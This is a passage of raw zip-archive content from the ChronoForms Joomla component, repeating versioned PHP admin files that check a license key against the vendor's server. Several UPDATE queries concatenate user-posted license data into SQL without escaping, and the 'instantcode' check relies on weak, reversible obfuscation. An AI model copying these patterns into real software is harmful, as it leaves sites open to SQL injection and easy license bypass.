new JParameter($result->params); HTML_Admin_ChronoForms::validatelicense($params); } } public static function validatelicensedata(){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); preg_match('/http(s)*:\/\/(.*?)\//i', $uri->root(), $matches); $database = JFactory::getDBO(); $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); //$configs = JComponentHelper::getParams('com_chronoforms'); $configs = new JParameter($result->params); $postfields = array(); if(isset($_POST['licensecode']) && !empty($_POST['licensecode'])){ $configs->set('licensecode', $_POST['licensecode']); } $postfields['license_key'] = $configs->get('licensecode', ''); $postfields['domain_name'] = $matches[2]; $postfields['pid'] = $_POST['pid']; $validstatus = false; if(empty($postfields['license_key'])){ $mainframe->redirect("index.php?option=com_chronoforms&task=validatelicense", 'You didn\'t enter your validation key.'); } if(trim(JRequest::getVar('instantcode')) && $configs->get('licensecode', '')){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ //$mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } } if(function_exists('fsockopen')){ $validstatus = ChronoFormsAdmin::validationconnect('http', 'www.chronoengine.com', $port='80', $path='/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense', $postfields); } if((!$validstatus)||($validstatus == 'error')||!function_exists('fsockopen')){ if (!function_exists('curl_init')){ $validstatus = false; }else{ $fields = ''; $ch = curl_init(); //$postfields = array(); foreach( $postfields as $key => $value ) $fields .= "$key=" . urlencode( $value ) . "&"; curl_setopt($ch, CURLOPT_URL, 'http://www.chronoengine.com/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense'); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim( $fields, "& " )); if($configs->get('curlproxy', '')){ curl_setopt($ch, CURLOPT_PROXY, $configs->get('curlproxy')); } $output = curl_exec($ch); curl_close($ch); $validstatus = $output; } } //return $validstatus; if($validstatus == 'valid'){ if($configs->get('licensecode', '')){ //if(!$configs->get('licensevalid', '')){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } //} } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your Install was validated successfully' ); }else if($validstatus == 'invalid'){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 0); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because of some wrong data used' ); }else{ if(trim(JRequest::getVar('instantcode'))){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ $mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } }else{ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 0); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery("UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because your hosting server doesn\'t have neither the CURL library nor the fsockopen functions or they may exist but don\'t function properly, please contact your host admin to fix them or contact us here Or at this email address : webmaster@chronoengine.com' ); } } } } ?>PKs>\(com_chronoforms/versions/j1.6/index.htmlnuW+APKs>\(com_chronoforms/versions/j2.5/index.htmlnuW+APKs>\C&**3com_chronoforms/versions/j2.5/admin.chronoforms.phpnuW+AsetQuery("SELECT * FROM #__extensions WHERE `element` = 'com_chronoforms' AND `type` = 'component'"); $result = $database->loadObject(); if(!empty($result)){ $params = new JParameter($result->params); return (bool)$params->get('licensevalid', 0); }else{ return false; } } public static function validatelicense(){ if(isset($_POST['instantcode'])){ ChronoFormsAdminVersion::validatelicensedata(); }else{ $database = JFactory::getDBO(); $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $params = new JParameter($result->params); HTML_Admin_ChronoForms::validatelicense($params); } } public static function validatelicensedata(){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); preg_match('/http(s)*:\/\/(.*?)\//i', $uri->root(), $matches); $database = JFactory::getDBO(); $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); //$configs = JComponentHelper::getParams('com_chronoforms'); $configs = new JParameter($result->params); $postfields = array(); if(isset($_POST['licensecode']) && !empty($_POST['licensecode'])){ $configs->set('licensecode', $_POST['licensecode']); } $postfields['license_key'] = $configs->get('licensecode', ''); $postfields['domain_name'] = $matches[2]; $postfields['pid'] = $_POST['pid']; $validstatus = false; if(empty($postfields['license_key'])){ $mainframe->redirect("index.php?option=com_chronoforms&task=validatelicense", 'You didn\'t enter your validation key.'); } if(trim(JRequest::getVar('instantcode')) && $configs->get('licensecode', '')){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ //$mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } } if(function_exists('fsockopen')){ $validstatus = ChronoFormsAdmin::validationconnect('http', 'www.chronoengine.com', $port='80', $path='/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense', $postfields); } if((!$validstatus)||($validstatus == 'error')||!function_exists('fsockopen')){ if (!function_exists('curl_init')){ $validstatus = false; }else{ $fields = ''; $ch = curl_init(); //$postfields = array(); foreach( $postfields as $key => $value ) $fields .= "$key=" . urlencode( $value ) . "&"; curl_setopt($ch, CURLOPT_URL, 'http://www.chronoengine.com/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense'); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim( $fields, "& " )); if($configs->get('curlproxy', '')){ curl_setopt($ch, CURLOPT_PROXY, $configs->get('curlproxy')); } $output = curl_exec($ch); curl_close($ch); $validstatus = $output; } } //return $validstatus; if($validstatus == 'valid'){ if($configs->get('licensecode', '')){ //if(!$configs->get('licensevalid', '')){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } //} } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your Install was validated successfully' ); }else if($validstatus == 'invalid'){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 0); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because of some wrong data used' ); }else{ if(trim(JRequest::getVar('instantcode'))){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ $mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } }else{ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 0); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery("UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because your hosting server doesn\'t have neither the CURL library nor the fsockopen functions or they may exist but don\'t function properly, please contact your host admin to fix them or contact us here Or at this email address : webmaster@chronoengine.com' ); } } } } ?>PKs>\)"com_chronoforms/versions/.htaccessnuW+A Order allow,deny Deny from all PKs>\(com_chronoforms/versions/j1.5/index.htmlnuW+APKs>\5y-'-'3com_chronoforms/versions/j1.5/admin.chronoforms.phpnuW+AsetQuery("SELECT * FROM #__components WHERE `parent`='0' AND `option`='com_chronoforms' AND `admin_menu_link`='option=com_chronoforms'"); $result = $database->loadObject(); if(!empty($result)){ $params = new JParameter($result->params); return (bool)$params->get('licensevalid', 0); }else{ return false; } } function validatelicense(){ if(isset($_POST['instantcode'])){ ChronoFormsAdminVersion::validatelicensedata(); }else{ $database = JFactory::getDBO(); $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); $params = new JParameter($result->params); HTML_Admin_ChronoForms::validatelicense($params); } } function validatelicensedata(){ global $mainframe; preg_match('/http(s)*:\/\/(.*?)\//i', $mainframe->getSiteURL(), $matches); $database = JFactory::getDBO(); $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); //$configs = JComponentHelper::getParams('com_chronoforms'); $configs = new JParameter($result->params); $postfields = array(); if(isset($_POST['licensecode']) && !empty($_POST['licensecode'])){ $configs->set('licensecode', $_POST['licensecode']); } $postfields['license_key'] = $configs->get('licensecode', ''); $postfields['domain_name'] = $matches[2]; $postfields['pid'] = $_POST['pid']; $validstatus = false; if(empty($postfields['license_key'])){ $mainframe->redirect("index.php?option=com_chronoforms&task=validatelicense", 'You didn\'t enter your validation key.'); } if(trim(JRequest::getVar('instantcode')) && $configs->get('licensecode', '')){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ $newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $database->setQuery( "UPDATE `#__components` SET params='".$newparams."' WHERE id='".$result->id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ //$mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } } if(function_exists('fsockopen')){ $validstatus = ChronoFormsAdmin::validationconnect('http', 'www.chronoengine.com', $port='80', $path='/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense', $postfields); } if((!$validstatus)||($validstatus == 'error')||!function_exists('fsockopen')){ if (!function_exists('curl_init')){ $validstatus = false; }else{ $fields = ''; $ch = curl_init(); //$postfields = array(); foreach( $postfields as $key => $value ) $fields .= "$key=" . urlencode( $value ) . "&"; curl_setopt($ch, CURLOPT_URL, 'http://www.chronoengine.com/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense'); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim( $fields, "& " )); if($configs->get('curlproxy', '')){ curl_setopt($ch, CURLOPT_PROXY, $configs->get('curlproxy')); } $output = curl_exec($ch); curl_close($ch); $validstatus = $output; } } //return $validstatus; if($validstatus == 'valid'){ if($configs->get('licensecode', '')){ //if(!$configs->get('licensevalid', '')){ $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ $newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $database->setQuery( "UPDATE `#__components` SET params='".$newparams."' WHERE id='".$result->id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } //} } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your Install was validated successfully' ); }else if($validstatus == 'invalid'){ $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ $newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $database->setQuery( "UPDATE `#__components` SET params='".$newparams."' WHERE id='".$result->id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because of some wrong data used' ); }else{ if(trim(JRequest::getVar('instantcode'))){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ $newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $database->setQuery( "UPDATE `#__components` SET params='".$newparams."' WHERE id='".$result->id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ $mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } }else{ $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ $newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $database->setQuery("UPDATE `#__components` SET params='".$newparams."' WHERE id='".$result->id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because your hosting server doesn\'t have neither the CURL library nor the fsockopen functions or they may exist but don\'t function properly, please contact your host admin to fix them or contact us here Or at this email address : webmaster@chronoengine.com' ); } } } } ?>PKs>\(com_chronoforms/versions/j1.7/index.htmlnuW+APKs>\C&**3com_chronoforms/versions/j1.7/admin.chronoforms.phpnuW+AsetQuery("SELECT * FROM #__extensions WHERE `element` = 'com_chronoforms' AND `type` = 'component'"); $result = $database->loadObject(); if(!empty($result)){ $params = new JParameter($result->params); return (bool)$params->get('licensevalid', 0); }else{ return false; } } public static function validatelicense(){ if(isset($_POST['instantcode'])){ ChronoFormsAdminVersion::validatelicensedata(); }else{ $database = JFactory::getDBO(); $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $params = new JParameter($result->params); HTML_Admin_ChronoForms::validatelicense($params); } } public static function validatelicensedata(){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); preg_match('/http(s)*:\/\/(.*?)\//i', $uri->root(), $matches); $database = JFactory::getDBO(); $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); //$configs = JComponentHelper::getParams('com_chronoforms'); $configs = new JParameter($result->params); $postfields = array(); if(isset($_POST['licensecode']) && !empty($_POST['licensecode'])){ $configs->set('licensecode', $_POST['licensecode']); } $postfields['license_key'] = $configs->get('licensecode', ''); $postfields['domain_name'] = $matches[2]; $postfields['pid'] = $_POST['pid']; $validstatus = false; if(empty($postfields['license_key'])){ $mainframe->redirect("index.php?option=com_chronoforms&task=validatelicense", 'You didn\'t enter your validation key.'); } if(trim(JRequest::getVar('instantcode')) && $configs->get('licensecode', '')){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ //$mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } } if(function_exists('fsockopen')){ $validstatus = ChronoFormsAdmin::validationconnect('http', 'www.chronoengine.com', $port='80', $path='/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense', $postfields); } if((!$validstatus)||($validstatus == 'error')||!function_exists('fsockopen')){ if (!function_exists('curl_init')){ $validstatus = false; }else{ $fields = ''; $ch = curl_init(); //$postfields = array(); foreach( $postfields as $key => $value ) $fields .= "$key=" . urlencode( $value ) . "&"; curl_setopt($ch, CURLOPT_URL, 'http://www.chronoengine.com/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense'); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim( $fields, "& " )); if($configs->get('curlproxy', '')){ curl_setopt($ch, CURLOPT_PROXY, $configs->get('curlproxy')); } $output = curl_exec($ch); curl_close($ch); $validstatus = $output; } } //return $validstatus; if($validstatus == 'valid'){ if($configs->get('licensecode', '')){ //if(!$configs->get('licensevalid', '')){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE 